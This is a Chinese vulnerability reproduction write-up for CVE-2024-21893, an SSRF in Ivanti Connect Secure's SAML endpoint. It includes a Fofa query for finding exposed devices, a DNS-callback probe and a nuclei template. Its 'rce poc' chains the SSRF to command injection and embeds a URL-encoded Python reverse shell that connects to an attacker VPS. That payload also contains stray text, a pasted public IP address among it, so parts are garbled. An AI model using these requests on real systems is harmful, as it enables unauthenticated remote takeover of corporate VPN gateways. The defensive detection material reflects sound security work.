0x01 产品描述：

    Ivanti Connect Secure是一款企业级远程访问解决方案，提供安全远程访问（VPN）、多因素认证等功能。Ivanti Connect Secure具备先进的零信任访问能力，包括验证用户、验证设备、控制访问和保护数据。它适用于混合IT时代，支持多种应用场景，如员工远程接入、浏览器访问内网应用、VDI远程接入集成以及移动解决方案集成。该方案采用高可用性架构，支持主备或主主集群模式部署，确保了系统的稳定性和安全性‌

0x02 漏洞描述：

        CVE-2024-21893 是存在 Ivanti Connect Secure SAML 组件中的 SSRF 漏洞，该漏洞主要是由于使用存在漏洞第三方库，并且第三方库没有及时的更新导致的，可以绕过 CVE-2024-21887 命令注入漏洞的补丁，达到未授权 RCE 的目的。

0x03 影响版本：

Ivanti Connect Secure（9.x、22.x）

Ivanti Policy Secure（9.x、22.x）

Ivanti Neurons for ZTA SAML组件(只能SSRF)

0x04 搜索语句：

Fofa：body="welcome.cgi?p=logo"

0x05 漏洞复现：

dnslog检测poc

POST /dana-ws/saml20.ws HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <ds:Signature
  xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
   <ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
   </ds:SignedInfo>
   <ds:SignatureValue>qwerty</ds:SignatureValue>
   <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="http://q5vgb8.dnslog.cn"/>
    <ds:X509Data/>
   </ds:KeyInfo>
   <ds:Object></ds:Object>
  </ds:Signature>
 </soap:Body>
</soap:Envelope>

 

rce poc

POST /dana-ws/saml20.ws HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <ds:Signature
  xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
   <ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
   </ds:SignedInfo>
   <ds:SignatureValue>qwerty</ds:SignatureValue>
   <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="https://targetip:port/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22your-vps%22%2Cport%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
    <ds:X509Data/>
   </ds:KeyInfo>s
   <ds:Object></ds:Object>
  </ds:Signature>https://114.113.151.186/api/v1/license/keys-status
 </soap:Body>
</soap:Envelope>

nuclei官方检测poc

id: CVE-2024-21893

info:
  name: Ivanti SAML - Server Side Request Forgery (SSRF)
  author: DhiyaneshDk
  severity: high
  description: |
    A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
  reference:
    - https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
    - https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
    - https://github.com/advisories/GHSA-5rr9-mqhj-7cr2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2024-21893
    cwe-id: CWE-918
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
    product: connect_secure
    shodan-query: "html:\"welcome.cgi?p=logo\""
  tags: cve,cve2024,kev,ssrf,ivanti

http:
  - raw:
      - |
        POST /dana-ws/saml20.ws HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <ds:Signature    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">      <ds:SignedInfo>        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>        <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>      </ds:SignedInfo>      <ds:SignatureValue>qwerty</ds:SignatureValue>      <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">        <ds:RetrievalMethod URI="http://{{interactsh-url}}"/>        <ds:X509Data/>      </ds:KeyInfo>      <ds:Object></ds:Object>    </ds:Signature>  </soap:Body></soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '/dana-na/'
          - 'WriteCSS'
        condition: and
# digest: 4a0a00473045022100fefc6637185b28b4af8b503bdb7b89401fc591c34cb6082b20322ac0f1ad67c8022027e634cbc733ad699766de6d8eb8f22b6368d0b663cd28cbd957eaaf37f51838:922c64590222798bb761d5b6d8e72950

0x06 修复建议：

Ivanti 已发布补丁，请及时升级版本或缓解措施